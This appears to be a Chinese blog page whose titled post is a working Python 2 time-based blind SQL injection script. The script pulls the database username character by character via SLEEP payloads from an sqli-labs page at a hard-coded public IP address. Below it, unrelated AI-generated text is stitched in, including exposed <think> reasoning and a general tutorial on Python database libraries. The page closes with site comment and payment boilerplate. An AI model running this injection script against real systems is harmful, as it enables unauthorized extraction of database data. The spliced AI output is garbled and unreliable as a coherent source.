SQL注入之python自动化查找当前数据库用户名

# -*- coding: utf-8 -*-
import time
import requests

payloads = 'abcdefghijklmnopqrstuvwxyz@'

for i in range(1, 19):
    for payload in payloads:

        s = " AND (SELECT * FROM (SELECT (SLEEP (5- (IF(ascii(substr(user(),%s,1))=%s, 2, 5)))))a)" \
        % (i, ord(payload))
        s = "/sqli-labs-master/Less-9/?id=1'" + s

        start_time = time.time()
        d = requests.get('http://111.230.43.239' + s + '%23')

        # print d.url

        if time.time() - start_time >= 3:
            print payload
            break

<think>我们根据用户的需求,从多个引用中提取关于Python使用SQL数据库的方法和示例 用户想要查找Python使用SQL数据库的相关内容,如方法和示例等 引用[1]提到了连接数据库、执行SQL查询和更新操作,SQL基本语法 引用[2]提到了使用pymysql和pymssql库操作MySQLSQL Server 引用[3]提到了使用SQLAlchemy连接数据库,并提到中专API地址(但可能不需要关注API,重点在数据库连接) 引用[4]提到了使用pyodbc连接MS-SQL数据库 因此,我们可以总结如下: 1. 连接数据库的方法(使用不同的库) 2. 执行查询和更新操作 3. 提供示例代码 由于引用中提到了多种数据库(MySQL, SQL Server)和多种库(pymysql, pymssql, SQLAlchemy, pyodbc),我们可以分别给出示例。 但是注意:用户没有指定具体数据库,所以我们可以给出通用方法,并针对常见数据库给出示例。 步骤: 1. 连接数据库 2. 创建游标 3. 执行SQL语句(查询或更新) 4. 处理结果(对于查询) 5. 关闭连接 常用库: - MySQL: pymysql, mysql-connector-python - SQL Server: pyodbc, pymssql - 通用:SQLAlchemy(ORM,也可以执行原生SQL) 由于引用中提到了pymysql, pymssql, pyodbc, SQLAlchemy,我们将分别给出一些示例。 注意:引用中[^3]提到了一个中专API地址,但用户需求是使用Python操作SQL数据库,所以我们不需要关注该API。 由于用户要求结构清晰,我们将分步骤说明,并给出不同数据库和库的示例。 </think>以下是Python使用SQL数据库的方法和示例总结,涵盖主流数据库操作流程: ### 一、通用操作流程 1. **连接数据库** 使用库提供的`connect()`方法建立连接,需提供主机地址、数据库名、认证信息等参数 连接示例: ```python # 示例模板 import 数据库驱动库 conn = 驱动库.connect( host='服务器地址', database='数据库名', user='用户名', password='密码' ) ``` 2. **执行SQL语句** ```python cursor = conn.cursor() # 创建游标 cursor.execute("SQL语句") # 执行查询或更新 ``` 3. **处理结果** ```python # 查询结果处理 results = cursor.fetchall() # 获取全部数据 for row in results: print(row) # 提交事务(写操作必需) conn.commit() ``` 4. **关闭连接** ```python cursor.close() conn.close() ``` --- ### 二、数据库具体实现示例 #### 1. MySQL 数据库(使用 PyMySQL) ```python import pymysql # 连接数据库 conn = pymysql.connect( host='localhost', user='root', password='123456', database='test_db' ) try: with conn.cursor() as cursor: # 创建表 cursor.execute("CREATE TABLE IF NOT EXISTS users(id INT, name VARCHAR(20))") # 插入数据 cursor.execute("INSERT INTO users VALUES (1, '张三')") # 查询数据 cursor.execute("SELECT * FROM users") print(cursor.fetchall()) # 输出: ((1, '张三'),) conn.commit() finally: conn.close() ``` #### 2. SQL Server 数据库(使用 pyodbc) ```python import pyodbc # 连接数据库 conn = pyodbc.connect( driver='{SQL Server}', server='localhost', database='AdventureWorks', trusted_connection='yes' # Windows身份验证 ) cursor = conn.cursor() # 执行参数化查询(防SQL注入) cursor.execute("SELECT * FROM Employees WHERE Department=?", ('Sales',)) for row in cursor: print(row.EmployeeID, row.Name) ``` #### 3. SQLite 数据库(内置库) ```python import sqlite3 # 内存数据库(文件数据库替换为文件路径) conn = sqlite3.connect(':memory:') cursor = conn.cursor() cursor.execute("CREATE TABLE books(title TEXT, author TEXT)") cursor.execute("INSERT INTO books VALUES (?, ?)", ('Python基础', '李教授')) conn.commit() # 批量插入 books = [('SQL进阶', '王专家'), ('数据分析', '赵博士')] cursor.executemany("INSERT INTO books VALUES (?, ?)", books) ``` #### 4. ORM 操作(SQLAlchemy 示例) ```python from sqlalchemy import create_engine, Column, Integer, String from sqlalchemy.orm import declarative_base, sessionmaker Base = declarative_base() class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) name = Column(String(30)) # 连接数据库 engine = create_engine('sqlite:///demo.db') Base.metadata.create_all(engine) # 会话操作 Session = sessionmaker(bind=engine) session = Session() # 添加数据 new_user = User(name='王工程师') session.add(new_user) session.commit() # 查询数据 users = session.query(User).filter_by(name='王工程师').all() ``` ### 三、关键注意事项 1. **防SQL注入** 永远使用参数化查询(`?`占位符或命名参数)代替字符串拼接 ```python # 正确做法 cursor.execute("SELECT * FROM users WHERE id=?", (user_id,)) # 危险做法(勿用) cursor.execute(f"SELECT * FROM users WHERE id={user_id}") ``` 2. **连接池管理** 生产环境建议使用连接池工具(如`SQLAlchemy`的池化功能),避免频繁创建连接[^1] 3. **事务控制** 写操作需显式调用`commit()`,读操作后建议及时关闭游标释放资源[^2] 4. **数据类型映射** Python类型与SQL类型自动转换(如`datetime` ↔ `DATETIME`),但需注意NULL值处理[^4]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值